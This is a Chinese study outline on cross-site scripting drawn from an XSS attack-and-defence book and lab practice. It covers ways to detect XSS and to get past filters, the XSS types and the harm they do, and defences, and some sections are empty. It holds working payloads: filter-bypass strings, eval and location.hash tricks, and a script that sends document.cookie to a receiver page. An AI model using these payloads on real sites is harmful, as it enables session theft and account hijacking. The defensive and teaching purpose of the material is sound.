1. 程式人生 > 實用技巧 >《XSS跨站指令碼攻擊剖析與防禦》

《XSS跨站指令碼攻擊剖析與防禦》

xss-lab體會

探測xss漏洞

  • 先輸入測試唯一的字元,確認輸入、輸出點
  • 可能的輸入點
    • 任何可以輸入字元的地方
    • http頭
    • cookie

利用

繞過,過濾

  • 大小寫
    • 當程式沒有用類似strtolower()函式,將字元統一轉為大、小寫字元時,可繞過
  • 雙寫繞過
  • 編碼繞過:先HTML字元實體轉為16進位制,再進行URL編碼。(適用於:字元實體類)
  • 遇到將關鍵字替換為空格的情況
    • 使用\r\n的十六進位制%0d %0a

    • 如: <img%0dsrc=1%0donerror="alert(123)">

    • 注:不換行空格&nbsp; 不允許換行

  • 遇到必須帶某關鍵字的,可以在註釋中新增關鍵字,也可以直接在事件中新增
    • 如:javascript:alert(1)/*http://*/

    • 如:javascript:alert("http://")

反射型xss-獲取使用者cookie

  • get型xss獲取cookie
    • 方法:
      • 構造含有程式碼的url,然後傳送給使用者,即可觸發
      • 直接在輸入點輸入程式碼
    • 如:在輸入點寫入內容<script> document.location = 'http://127.0.0.1/antxss/xcookie/cookie.php?cookie=' + document.cookie; </script>。在127.0.0.1搭建一個接收cookie的平臺,使用document.cookie獲取cookie後,即可傳輸到接收平臺
  • post型xss獲取使用者cookie

儲存型xss釣魚攻擊

儲存型xss鍵盤記錄

xss盲打

  • 輸出點不直接在前端,只有後臺管理員才可見
  • 相當於儲存型

xss繞過-過濾

  • 轉換
    • 前端限制繞過,直接抓包重放,或直接修改HTML
    • 大小寫
      • <ScRiPT>...</script>
    • 雙寫
      • <sc><script>ript></script>
    • 使用註釋進行干擾
      • <scri<!--test-->pt>....</sc<!--test-->ript>
  • 編碼
    • 後臺過濾了特殊字元,比如<script>標籤,但是該標籤可以被各種編碼,後臺不一定會過濾,當瀏覽器對該編碼進行識別時,會翻譯成正常的標籤,從而執行
    • 注意:HTML實體編碼與URL編碼不一樣
  • 關於htmlspecialchars()函式
    • 功能:把預定義字元轉換為HTML實體
    • 可能存在單引號繞過,因為預設編碼雙引號,不編碼單引號。(單引號不屬於HTML中規範的實體編碼)
    • ENT_COMPAT 預設,僅編碼雙引號
    • ENT_QUOTES編碼雙引號和單引號
    • ENT_NOQUOTES不編碼任何引號

xss防禦

  • 輸入做過濾,輸出做轉義
    • 過濾
      • 限制輸入格式,比如要求輸入手機號,則只能輸入數字
    • 轉義
      • 所有輸出到前端的資料都根據輸出點進行轉義,比如輸出到HTML中進行HTML實體轉義,輸入到JJS裡面的進行js轉義
    • 防禦href輸出點
      • 如:<a href='.....'></a> 防止發生xss。可以限制href的格式,只能以http、https開頭,然後再進行htmlspecialchars()過濾
    • 防禦JS輸出點
      • 防止構造閉合</script>。因為JavaScript不會對tag和字元實體進行解釋,所以需要進行js轉義,但是轉義後JS無法識別裡面的內容,會影響前端的,所以最好的方法是使用反斜槓對特殊字元進行轉義

xss初探

注意

  • 充分利用瀏覽器特性

產生原因

  • 程式碼邏輯
  • 瀏覽器特性
  • 解析差異
  • 伺服器端語言的特性
  • 瀏覽器編碼

原理:向HTML程式碼中注入指令碼

概念

  • 輸入點
    • 這個提交你的攻擊程式碼的地方就叫做輸入點
  • 輸出點
    • 顯示你具有攻擊性程式碼的那個位置就叫做輸出點。
  • 跨域
    • 當協議、子域名、主域名、埠,中的任意一個不相同時,稱為不同域,不同域之間請求資料的操作,稱為跨域
    • 同源策略
      • (瀏覽器的一種約定),規定,兩個不同域間不能使用JS進行互相操作。比如:x.com域名下的JavaScript不能操作y.com域下的物件
      • 要進行跨域操作,需要管理員進行特殊配置,如:通過header(“Access-Control-Allow-Origin:x.com”)指定跨域源地址
      • 這些標籤可以跨域載入資源,不受同源策略影響
        • <script src="..."></script>js載入到本地執行
        • <img src="..."> 載入圖片
        • <link href="...">載入css
        • <iframe src="...">載入任意資源

型別

  • 反射型
    • 誘使使用者訪問一個包含惡意執行程式碼的URL
    • 可以將程式碼進行編碼處理,迷惑使用者,如:十進位制、十六進位制、ESCAPE等編碼
    • 只執行一次,非持久化
    • get型
    • post型
  • 儲存型
    • 將具有攻擊性的程式碼(又叫playload)持久化的儲存在目標業務中的某個地方(比如說資料庫, 快取等),在另一個地方又會把這個攻擊程式碼顯示到頁面上,顯示的時候瀏覽器會將它當作合法的script指令碼執行,便開始執行了具有攻擊性的JavaScript指令碼。
    • 不需要使用者單擊URL進行觸發,所以可以利用其進行掛馬、釣魚
  • DOM型
  • 注意
    • 反射型、儲存型xss,都是在前端提交資料,然後經過後端處理,再傳到前端。DOM型是純前端操作,不傳到後端

危害

  • 網路釣魚
  • 竊取使用者cookie
  • 劫持使用者
  • 強制彈出廣告,刷流量
  • 網頁掛馬
  • 進行惡意操作,篡改頁面資訊
  • 進行大量的客戶端攻擊,如DDoS攻擊
  • 獲取使用者資訊,如瀏覽歷史,真實ip,開放埠
  • 控制機器,當跳板
  • 結合其他漏洞,如CSRF
  • 傳播蠕蟲

xss簡單發掘

  • 方法
    • 黑盒測試
      • 對於xss而言,黑盒效果比白盒好
    • 白盒測試
    • 灰盒測試
  • 反射型
    • 輸入框、URL引數、來自cookie、post表單、HTTP頭的內容都可能產生xss
  • 儲存型

xss Cheat Sheet(xss攻擊指令碼列表)

xss構造剖析

  • xss-Filter跨站指令碼過濾器
    • 繞過
      • 利用<>標記注射HTML/JavaScript
      • 利用HTML標籤屬性值執行xss
        • 利用很多HTML中的屬性支援 javascript:[code]偽協議的形式,通常只有引用檔案的屬性才能觸發跨站指令碼
        • 如:<img src="javascript:alert(123);">
        • 相關屬性
          • href=
          • lowsrc=
          • bgsound=
          • background=
          • value=
          • action=
          • dynsrc=
      • 空格、回車、Tab鍵
        • 如果僅僅把字元做了過濾,則可以使用空格、回車tab鍵繞過
        • 注:除了在引號中分隔單詞或強制結束語句外,若語句不完整,額外的空白無論以何種方式新增都無所謂
      • 對標籤屬性值轉碼
        • HTML中屬性值本身支援ASCII碼形式,支援十進位制、十六進位制,格式:&#+ASCII碼或&#+ASCII碼;
        • 常見的
          • tab鍵 &#9
          • 換行符 &#10
          • 回車鍵 &#13
        • 也可以把&#01;&#02;插入到JavaScript或Vbscript的頭部,如<img src="&#01;javascript:alert(123)">
        • &#09;等字元可以插入到任何位置
      • 產生自己的事件
        • 事件的分類
          • 使用者介面(滑鼠鍵盤)
          • 邏輯(處理的結果)
          • 變化(對文件修改)
        • 常用事件
          *
      • 利用css跨站
        • 子主題 1
      • 擾亂過濾規則
  • 利用字元編碼
    • javascript中的eval()函式,可計算字串並執行其中的程式碼
      • 可使用反斜槓\連線十六進位制字串,然後用eval()函式執行,如<script>eval("......\....\...\...\..");</script>
      • 也可用十進位制字串來執行,但需要String.fromCharCode()函式先把ASCII值轉為字串,如<img src="javascript:eval(String.fromCharCode(97,108,101,...,...,....,))">
    • css中也支援使用反斜槓\連線十六進位制的字串
    • 微軟的script加密技術,只能在IE上執行
  • 拆分跨站法
    • 條件:
      • 程式沒有對關鍵字過濾,但限制了字元長度

shellcode的呼叫

  • 遠端呼叫
    • 呼叫伺服器上的js檔案
    • 基於DOM的方法建立和插入節點
  • window.location.hash
    • 條件
      • 要能上傳檔案到指定伺服器
    • 利用window.location.hash屬性
      • 目的:解決URL長度問題
      • location.hash用來設定頁面的標籤值
        • http:www.haha.com#admin,其location.hash為#admin
      • 如:http:www.haha.com?sort="><script>eval(location.hash.substr(1))</script>#alert('xss')
  • xss Downloader
    • 原理
      • 先把程式碼存到資料庫中,再利用XMLHTTP控制元件向網站傳送一個HTTP請求,然後執行返回的資料
  • 備選儲存技術
    • 原理
      • 把程式碼存到客戶端本地域中,如HTTPcookie、UserData、localStorage等
      • 儲存到cookie的缺點,cookie被限制在4KB內
      • UserData是微軟在IE上開的一塊儲存空間,大小有640KB
      • localStorage

xss利用方式剖析

發掘xss漏洞

xss Worm剖析

深入xss原理

防禦xss攻擊